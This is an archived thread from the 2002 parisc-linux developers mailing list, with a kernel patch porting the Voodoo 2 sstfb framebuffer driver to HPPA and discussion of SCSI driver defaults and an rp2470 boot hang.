Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx12.cluster1.charter.net (dc-mx12.cluster1.charter.net [209.225.8.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 161824829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Sep 2002 22:28:38 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx12.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 2602896; Sun, 15 Sep 2002 00:28:29 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16124

Fantastic! I was tinkering with this but I stalled out. I had
to cart my C200 in to work to use as a prototype server machine
for a proof of concept on a new project, but I will be sure to
give it a whirl as it still has the V2 inside it.

This might really help the project as now all the FX guys
have an inexpensive option for graphics!

When building the kernel should I disable "console on STI fb"
option then? Did you add a "console on sstfb" option to config?

Can't wait to try it out!

Cheers!
- Doug



Helge Deller wrote:
> Hi,
> 
> there has been some discussions on this lists a few weeks back
> about getting the Voodoo framebuffer driver  working on HPPA.
> The attached patch allows me to use my Voodoo 2 with the sstfb
> framebuffer driver in 16bpp in 640x480, 800x600 and 1024x768
> resolutions on console and under X.
> 
> Greetings,
> Helge
> 
> NB: This patch is already integrated into the 2.4.19-pa18 kernel and
> I'll continue to do some more code-cleanups before trying to get it
> into the official kernel.
> 
> 
> ------------------------------------------------------------------------
> 
> Index: sstfb.c
> ===================================================================
> RCS file: /var/cvs/linux/drivers/video/sstfb.c,v
> retrieving revision 1.4
> diff -u -p -r1.4 sstfb.c
> --- sstfb.c	4 Aug 2002 22:59:15 -0000	1.4
> +++ sstfb.c	14 Sep 2002 23:58:43 -0000
> @@ -107,6 +107,7 @@
>  
>  #include <asm/io.h>
>  #include <asm/ioctl.h>
> +#include <asm/uaccess.h>
>  
>  #include <video/fbcon.h>
>  #include <video/fbcon-cfb16.h>
> @@ -332,7 +333,7 @@ static void sst_dbg_print_var(struct fb_
>  
>  #if (SST_DEBUG_REG > 0)
>  static void sst_dbg_print_read_reg (u32 reg, u32 val) {
> -	char * regname =NULL;
> +	char * regname = NULL;
>  	switch (reg) {
>  	case FBIINIT0: regname="FbiInit0"; break;
>  	case FBIINIT1: regname="FbiInit1"; break;
> @@ -366,8 +367,8 @@ static void sst_dbg_print_write_reg (u32
>  		r_dprintk(" sst_write(%s, %#x)\n", regname, val);
>  }
>  #else /*  (SST_DEBUG_REG > 0) */
> -#  define sst_dbg_print_read_reg(reg, val)	do {}while(0)
> -#  define sst_dbg_print_write_reg(reg, val)	do {}while(0)
> +#  define sst_dbg_print_read_reg(reg, val)	do {} while(0)
> +#  define sst_dbg_print_write_reg(reg, val)	do {} while(0)
>  #endif /*  (SST_DEBUG_REG > 0) */
>  
>  /* register access */
> @@ -530,20 +531,15 @@ static int sstfb_setcolreg(u_int regno, 
>  		break;
>  #endif
>  #ifdef EN_24_32_BPP
> -#ifdef FBCON_HAS_CFB24
> +#if defined(FBCON_HAS_CFB24) || defined(FBCON_HAS_CFB32)
>  	case 24:
> -		sst_info->fbcon_cmap.cfb32[regno]=col;
> -		break;
> -#endif
> -#ifdef FBCON_HAS_CFB32
>  	case 32:
>  		sst_info->fbcon_cmap.cfb32[regno]=col;
>  		break;
>  #endif
>  #endif
>  	default:
> -		eprintk("bug line %d: bad depth '%u'\n",__LINE__,
> -			disp->var.bits_per_pixel);
> +		BUG();
>  		break;
>  	}
>  	f_dddprintk("bpp: %d . encoded color: %#x\n",
> @@ -735,6 +731,7 @@ static int sstfb_encode_var (struct fb_v
>  #ifdef EN_24_32_BPP
>  	case 24:	/* RGB 888 LfbMode 4 */
>  	case 32:	/* ARGB 8888 LfbMode 5 */
> +	       	/* in 24bpp we fake a 32 bpp mode */
>  		var->red.length    = 8;
>  		var->green.length  = 8;
>  		var->blue.length   = 8;
> @@ -743,11 +740,11 @@ static int sstfb_encode_var (struct fb_v
>  		var->red.offset    = 16;
>  		var->green.offset  = 8;
>  		var->blue.offset   = 0;
> -		var->transp.offset = 0; /* in 24bpp we fake a 32 bpp mode */
> +		var->transp.offset = 0;
>  		break;
>  #endif
>  	default:
> -		eprintk ("bug line %d: bad depth '%u'\n", __LINE__, par->bpp);
> +		eprintk("bug line %d: bad depth '%u'\n", __LINE__, par->bpp);
>  		break;
>  	}
>  	return 0;
> @@ -775,11 +772,15 @@ static int sstfb_get_fix(struct fb_fix_s
>  #define sst_info	((struct sstfb_info *) info)
>  
>  	struct fb_var_screeninfo *var;
> +	struct fb_var_screeninfo var2;
>  
>  	f_dprintk("sstfb_get_fix(con: %d)\n",con);
> -	if (con == -1)
> -		sstfb_encode_var(var, &sst_info->current_par, sst_info);
> -	else
> +	memset(fix, 0, sizeof(struct fb_fix_screeninfo));
> +	
> +	if (con == -1) {
> +		sstfb_encode_var(&var2, &sst_info->current_par, sst_info);
> +		var = &var2;
> +	} else
>  		var = &fb_display[con].var;
>  
>  	strcpy(fix->id, sst_info->info.modename);
> @@ -789,6 +790,7 @@ static int sstfb_get_fix(struct fb_fix_s
>  
>  	fix->type        = FB_TYPE_PACKED_PIXELS;
>  	fix->visual      = FB_VISUAL_TRUECOLOR;
> +	fix->accel       = FB_ACCEL_NONE;
>  	/*
>  	 *   According to the specs, the linelength must be of 1024 *pixels*.
>  	 * and the 24bpp mode is in fact a 32 bpp mode.
> @@ -966,42 +968,47 @@ static int sstfb_ioctl(struct inode *ino
>                         struct fb_info *info)
>  {
>  #define sst_info	((struct sstfb_info *) info)
> -#if (SST_DEBUG_IOCTL >0)
>  	int i;
>  	u_long p;
> -	u32 tmp;
> +	u32 tmp, val;
>  	u32 fbiinit0;
>  	struct pci_dev * sst_dev = sst_info->dev;
> -#endif
>  
>  	f_dprintk("sstfb_ioctl(%x)\n", cmd);
> -#if (SST_DEBUG_IOCTL >0)
> +	
>  	switch (cmd) {
> -#  if (SST_DEBUG_VAR >0)
> -/* tmp ioctl : dumps fb_display[0-5] */
> +		
> +#if (SST_DEBUG_VAR >0)
> +	/* tmp ioctl : dumps fb_display[0-5] */
>  	case _IO('F', 0xdb):		/* 0x46db */
>  		f_dprintk("dumping fb_display[0-5].var\n");
>  		for (i = 0 ; i< 6 ; i++) {
>  			print_var(&fb_display[i].var, "var(%d)", i);
>  		}
>  		return 0;
> -#  endif /* (SST_DEBUG_VAR >0) */
> -/* fills the lfb up to *(u32*)arg */
> +#endif /* (SST_DEBUG_VAR >0) */
> +
> +	/* fills the lfb up to given count of pixels */
>  	case _IOW('F', 0xdc, u32):	/* 0x46dc */
> -		if (*(u32*)arg > 0x400000 )
> -			*(u32*) arg = 0x400000;
> -		f_dprintk("filling %#x \n", *(u32*)arg);
> -		for (p = 0 ; p < *(u32*)arg; p+=2)
> +		if (copy_from_user(&val, (void *) arg, sizeof(val)))
> +			return -EFAULT;
> +		if (val > 0x400000 )
> +			val = 0x400000;
> +		f_dprintk("filling %#x \n", val);
> +		for (p = 0 ; p < val; p+=2)
>  			writew( p >> 6 , sst_info->video.vbase + p);
>  		return 0;
> -/* change VGA pass_through */
> +		
> +	/* enable/disable VGA pass_through */
>  	case _IOW('F', 0xdd, u32):	/* 0x46dd */
> +		if (copy_from_user(&val, (void *) arg, sizeof(val)))
> +			return -EFAULT;
>  		f_dprintk("switch VGA pass-through\n");
>  		pci_read_config_dword(sst_dev, PCI_INIT_ENABLE, &tmp);
>  		pci_write_config_dword(sst_dev, PCI_INIT_ENABLE,
>  				       tmp | PCI_EN_INIT_WR );
>  		fbiinit0 = sst_read (FBIINIT0);
> -		if (* (u32*)arg) {
> +		if (val) {
>  			sst_write(FBIINIT0, fbiinit0 & ~EN_VGA_PASSTHROUGH);
>  			iprintk ( "Disabling VGA pass-through\n");
>  		} else {
> @@ -1010,28 +1017,29 @@ static int sstfb_ioctl(struct inode *ino
>  		}
>  		pci_write_config_dword(sst_dev, PCI_INIT_ENABLE, tmp);
>  		return 0;
> +
> +	/* display test pattern */
>  	case _IO('F', 0xde):		/* 0x46de */
>  		f_dprintk("test color display\n");
>  		f_ddprintk("currcon: %d, bpp %d\n", sst_info->currcon,
>  			  sst_info->current_par.bpp);
>  		memset_io(sst_info->video.vbase, 0, sst_info->video.len);
> -	switch (sst_info->current_par.bpp) {
> +		switch (sst_info->current_par.bpp) {
>  	       	case 16:
>  			sstfb_test16(sst_info);
>  			break;
> -#  ifdef EN_24_32_BPP
> +#ifdef EN_24_32_BPP
>  		case 24:
>  		case 32:
>  			sstfb_test32(sst_info);
>  			break;
> -#  endif
> +#endif
>  		default:
> -			dprintk("bug line %d: bad depth '%u'\n", __LINE__,
> -			        sst_info->current_par.bpp);
> -			}
> +			return -EFAULT;
> +		}
>  		return 0;
>  	}
> -#endif /* (SST_DEBUG_IOCTL >0) */
> +	
>  	return -EINVAL;
>  #undef sst_info
>  }
> @@ -1494,7 +1502,7 @@ static int sstfb_set_par(const struct ss
>  	pci_write_config_dword(sst_dev, PCI_INIT_ENABLE, PCI_EN_FIFO_WR);
>  
>  	/* set lfbmode : set mode + front buffer for reads/writes
> -	   + disable pipeline + disable byte swapping */
> +	   + disable pipeline  */
>  	switch(par->bpp) {
>  	case 16:
>  		lfbmode = LFB_565;
> @@ -1508,12 +1516,16 @@ static int sstfb_set_par(const struct ss
>  		break;
>  #endif
>  	default:
> -		dprintk("bug line %d: bad depth '%u'\n", __LINE__,
> -			par->bpp );
> +		BUG();
>  		return 0;
> -		break;
>  	}
>  
> +#if defined(__BIG_ENDIAN)
> +	/* enable byte-swizzle functionality in hardware */
> +	lfbmode |= ( LFB_WORD_SWIZZLE_WR | LFB_BYTE_SWIZZLE_WR | 
> +		     LFB_WORD_SWIZZLE_RD | LFB_BYTE_SWIZZLE_RD );
> +#endif
> +
>  	if (clipping) {
>  		sst_write(LFBMODE, lfbmode | EN_PXL_PIPELINE);
>  	/*
> @@ -1521,7 +1533,7 @@ static int sstfb_set_par(const struct ss
>  	 * writes to offscreen areas of the framebuffer are performed,
>  	 * the "behaviour is undefined" (_very_ undefined) - Urs
>  	 */
> -	/* btw, it requires enabling pixel pipeline in LFBMODE .
> +	/* btw, it requires enabling pixel pipeline in LFBMODE.
>  	   off screen read/writes will just wrap and read/print pixels
>  	   on screen. Ugly but not that dangerous */
>  
> @@ -1536,7 +1548,7 @@ static int sstfb_set_par(const struct ss
>  		sst_write(LFBMODE, lfbmode );
>  	}
>  
> -	sst_info->current_par = *par ;
> +	sst_info->current_par = *par;
>  	return 1;
>  }
>  
> @@ -1571,8 +1583,7 @@ static void sst_set_vidmod_att_ti(struct
>  		break;
>  #endif
>  	default:
> -		dprintk("bug line %d: bad depth '%u'\n", __LINE__, bpp);
> -		break;
> +		BUG();
>  	}
>  }
>  
> @@ -1590,8 +1601,7 @@ static void sst_set_vidmod_ics(struct ss
>  		break;
>  #endif
>  	default:
> -		dprintk("bug line %d: bad depth '%u'\n", __LINE__, bpp);
> -		break;
> +		BUG();
>  	}
>  }
>  
> @@ -1987,34 +1997,34 @@ static void sstfb_test16(struct sstfb_in
>  	u_long fbbase_virt = sst_info->video.vbase;
>  
>  	f_dprintk("sstfb_test16\n");
> -	/* rect blanc 20x100+200+0 */
> +	/* white rectangle 20x100+200+0 */
>  	for (i=0 ; i< 100; i++) {
>  	  p = fbbase_virt + 2048 *i+400;
> -	  for (j=0 ; j < 10 ; j++) {
> -	    writel( 0xffffffff, p);
> +	  for (j=0; j < 10; j++) {
> +	    writel(0xffffffff, p);
>  	    p+=4;
>  	  }
>  	}
> -	/* rect bleu 180x200+0+0 */
> +	/* blue rectangle 180x200+0+0 */
>  	for (i=0 ; i< 200; i++) {
>  	  p = fbbase_virt + 2048 *i;
> -	  for (j=0 ; j < 90 ; j++) {
> -	    writel(0x001f001f,p);
> +	  for (j=0; j < 90; j++) {
> +	    writel(0x001f001f, p);
>  	    p+=4;
>  	  }
>  	}
> -	/* carre vert 40x40+100+0 */
> +	/* green rectangle 40x40+100+0 */
>  	for (i=0 ; i< 40 ; i++) {
>  	  p = fbbase_virt + 2048 *i + 200;
> -	  for (j=0; j <20;j++) {
> +	  for (j=0; j <20; j++) {
>  	    writel(0x07e007e0, p);
>  	    p+=4;
>  	  }
>  	}
> -	/*carre rouge 40x40+100+40 */
> +	/* red rectangle 40x40+100+40 */
>  	for (i=0; i<40; i++) {
>  	  p = fbbase_virt + 2048 * (i+40) + 200;
> -	  for (j=0; j <20;j++) {
> +	  for (j=0; j <20; j++) {
>  	    writel( 0xf800f800, p);
>  	    p+=4;
>  	  }
> @@ -2034,22 +2044,22 @@ static void sstfb_test32(struct sstfb_in
>  	for (i=0 ; i< 100; i++) {
>  	  p = fbbase_virt + 4096*i + 800;
>  	  for (j=0 ; j < 20 ; j++) {
> -	    writel( 0x00ffffff, p);
> +	    writel(0x00ffffff, p);
>  	    p+=4;
>  	  }
>  	}
>  	/* rect bleu 180x200+0+0 */
>  	for (i=0 ; i< 200; i++) {
>  	  p = fbbase_virt + 4096 * i;
> -	  for (j=0 ; j < 180 ; j++) {
> -	    writel(0x000000ff,p);
> +	  for (j=0 ; j < 180; j++) {
> +	    writel(0x000000ff, p);
>  	    p+=4;
>  	  }
>  	}
>  	/* carre vert 40x40+100+0 */
>  	for (i=0 ; i< 40 ; i++) {
>  	  p = fbbase_virt + 4096 *i + 400;
> -	  for (j=0; j <40;j++) {
> +	  for (j=0; j <40; j++) {
>  	    writel(0x0000ff00, p);
>  	    p+=4;
>  	  }
> @@ -2057,8 +2067,8 @@ static void sstfb_test32(struct sstfb_in
>  	/*carre rouge 40x40+100+10 */
>  	for (i=0; i<40; i++) {
>  	  p = fbbase_virt + 4096 * (i+40) + 400;
> -	  for (j=0; j <40;j++) {
> -	    writel( 0x00ff0000, p);
> +	  for (j=0; j <40; j++) {
> +	    writel(0x00ff0000, p);
>  	    p+=4;
>  	  }
>  	}
> Index: sstfb.h
> ===================================================================
> RCS file: /var/cvs/linux/drivers/video/sstfb.h,v
> retrieving revision 1.3
> diff -u -p -r1.3 sstfb.h
> --- sstfb.h	4 Aug 2002 22:59:15 -0000	1.3
> +++ sstfb.h	14 Sep 2002 23:58:44 -0000
> @@ -114,7 +114,11 @@
>  #  define RD_BUFF_FRONT		  0		/* read buff select (front) */
>  #  define RD_BUFF_BACK		  (1 << 6)	/* back */
>  #  define EN_PXL_PIPELINE	  BIT(8)	/* pixel pipeline (clip..)*/
> +#  define LFB_WORD_SWIZZLE_WR	  BIT(11)	/* enable write-wordswap (big-endian) */
> +#  define LFB_BYTE_SWIZZLE_WR	  BIT(12)	/* enable write-byteswap (big-endian) */
>  #  define LFB_INVERT_Y		  BIT(13)	/* invert Y origin (LFB) */
> +#  define LFB_WORD_SWIZZLE_RD	  BIT(15)	/* enable read-wordswap (big-endian) */
> +#  define LFB_BYTE_SWIZZLE_RD	  BIT(16)	/* enable read-byteswap (big-endian) */
>  #define CLIP_LEFT_RIGHT		0x0118
>  #define CLIP_LOWY_HIGHY		0x011c
>  #define NOPCMD			0x0120





From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Making SYM2 default SYM-SCSI driver instead of SYM1
Date: Sun, 15 Sep 2002 08:17:16 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20020915071716.GD20720@sleepie.demon.co.uk>
References: <3D8212E7.6000609@esiee.fr> <20020913190929.8F8084829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621717 13941 80.91.229.3 (22 Nov 2014 02:01:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:57 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 02:26:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc2-hem11-4-cust120.bre.cable.ntl.com [213.107.176.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58900482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 02:26:06 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 98F739EE55; Sun, 15 Sep 2002 08:17:16 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020913190929.8F8084829@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16125

On Fri, Sep 13, 2002 at 01:09:29PM -0600, Grant Grundler wrote:
> Thibaut VARENE wrote:
> > Now I'm asking you to know if anybody has an objection against making 
> > SYM2 the default driver in debian-configs instead of old SYM1.
> 
> I don't. All the boxes I care about have 53c8xx chips in them.

I don't think that is relevant.  SYM1 and SYM2 both only drive 53c8xx
chips (and newer, 53c1010, etc).  SYM1 didn't drive some of the nearly
53c810 chips (iirc), and you needed ncr53c8xx.c to drive those.

> A slightly safer approach is to make sym2 the default for PA2.0 systems
> and the old sym the default for PA1.1 systems. But GSC/HSC c720 cards
> don't fit that model since they go into systems with either sub-arch.

There was no linux driver for 53c720 before parisc.  Now we drive 53c720
with a modified ncr53c8xx.  So, something like my B180 with a bluefish
card uses:

CONFIG_SCSI_LASI700 (James driver) for 53c710 (cdrom)
CONFIG_SCSI_ZALON (modified ncr53c8xx) for 53c720 on blusfish
CONFIG_SCSI_SYM53C8XX (SYMV1) for 53c8?? main disk interface

So, in theory, chnaging to CONFIG_SCSI_SYM53C8XX_2 for all configs
shouldn't upset anyone.  SYM1 and SYM2 both only drive PCI chips, so
that makes the change irrelevant to earlier boxes anyway.

Cheers,
  Richard



From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Voodoo framebuffer on PARISC
Date: Sun, 15 Sep 2002 10:31:16 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <200209151031.16912.deller__20709.5239464708$1416621717$gmane$org@gmx.de>
References: <200209150209.46701.deller@gmx.de> <3D840C5E.2080405@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621717 13945 80.91.229.3 (22 Nov 2014 02:01:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:57 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 02:31:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 3712C482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 02:31:43 -0600 (MDT)
Original-Received: (qmail 12330 invoked by uid 0); 15 Sep 2002 08:31:40 -0000
Original-Received: from dialin-212-144-171-044.arcor-ip.net (HELO P100.helgenet.de) (212.144.171.44)
  by mail.gmx.net (mp012-rz3) with SMTP; 15 Sep 2002 08:31:40 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <3D840C5E.2080405@charter.net>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16126

Hi Douglas,

it's safe to enable both (stifb and sstfb), in which case one of
them is /dev/fb0 (presumably the sstfb) and the other /dev/fb1 (stifb).
If you hook them up to different monitors you can use both graphic
cards at the same time. If you connect them in chain, only the
sstfb will be visible.

Greetings,
Helge

On Sunday 15 September 2002 06:28, B. Douglas Hilton wrote:
> Fantastic! I was tinkering with this but I stalled out. I had
> to cart my C200 in to work to use as a prototype server machine
> for a proof of concept on a new project, but I will be sure to
> give it a whirl as it still has the V2 inside it.
>
> This might really help the project as now all the FX guys
> have an inexpensive option for graphics!
>
> When building the kernel should I disable "console on STI fb"
> option then? Did you add a "console on sstfb" option to config?
>
> Can't wait to try it out!
>
> Cheers!
> - Doug
>
> Helge Deller wrote:
> > Hi,
> >
> > there has been some discussions on this lists a few weeks back
> > about getting the Voodoo framebuffer driver  working on HPPA.
> > The attached patch allows me to use my Voodoo 2 with the sstfb
> > framebuffer driver in 16bpp in 640x480, 800x600 and 1024x768
> > resolutions on console and under X.
> >
> > Greetings,
> > Helge
> >
> > NB: This patch is already integrated into the 2.4.19-pa18 kernel and
> > I'll continue to do some more code-cleanups before trying to get it
> > into the official kernel.
> >
> > ...patch removed...



From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Making SYM2 default SYM-SCSI driver instead of SYM1
Date: Sun, 15 Sep 2002 08:35:49 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20020915143549.77723482A@dsl2.external.hp.com>
References: <3D8212E7.6000609@esiee.fr> <20020913190929.8F8084829@dsl2.external.hp.com>  <20020915071716.GD20720@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621717 13946 80.91.229.3 (22 Nov 2014 02:01:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:57 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 08:35:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 77723482A; Sun, 15 Sep 2002 08:35:49 -0600 (MDT)
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Sun, 15 Sep 2002 08:17:16 BST." <20020915071716.GD20720@sleepie.demon.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16127

Richard Hirst wrote:
> I don't think that is relevant.  SYM1 and SYM2 both only drive 53c8xx
> chips (and newer, 53c1010, etc).  SYM1 didn't drive some of the nearly
> 53c810 chips (iirc), and you needed ncr53c8xx.c to drive those.

Ah ok. my bad. I thought sym1 drove 53c720 but that's wrong.

Someone might consider porting the PDC_INITIATOR support to ncr53c8xx.
Should be a cut/paste from sym1 or sym2 driver.

> So, in theory, chnaging to CONFIG_SCSI_SYM53C8XX_2 for all configs
> shouldn't upset anyone.  SYM1 and SYM2 both only drive PCI chips, so
> that makes the change irrelevant to earlier boxes anyway.

OK - I've been using sym2 on both c3k and A500. I'm comfortable with it.
Sounds like I should use it on B180 as well.

Thanks for clarification richard!

grant


From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rp2470 hang in sym2 driver
Date: Sun, 15 Sep 2002 09:36:13 -0600 (MDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <20020915153613.5AFBD4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621718 13949 80.91.229.3 (22 Nov 2014 02:01:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 09:36:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5AFBD4829; Sun, 15 Sep 2002 09:36:13 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16128

Hi all,

I've revisited this "rp2470 hang" issue. This happens with sym2.
The same kernels boot on A500-44 but hang on A500-65 (650Mhz).
It smells like a deadlock.

I don't believe this is a result of interrupt distribution. I can't
say for sure since I've had the IRQ distr code in my tree for a while.
I don't think I've ever booted rp2470 with 2.4.19.

I will try sym1 driver *and* try disabling IRQ distribution
in the next couple of days.

I've reproduced the hang twice with 2.4.19-pa18.
Console output stops after first line of either "sym3:" output
or "sym4:" (ie only one line is printed for that interface.
TOC had the following:

	CPU0 0x10143420 timer_bh+200
	CPU0 0x102276fc sym53c8xx_timer+ec

	CPU1 0x1010dd40 do_irq+100
	CPU1 0x102275f0 sym53c8xx_intr+140

and

	CPU0 GR02 0x10143420 timer_bh+200
	CPU0 IOAQ 0x102276fc sym53c8xx_timer+ec

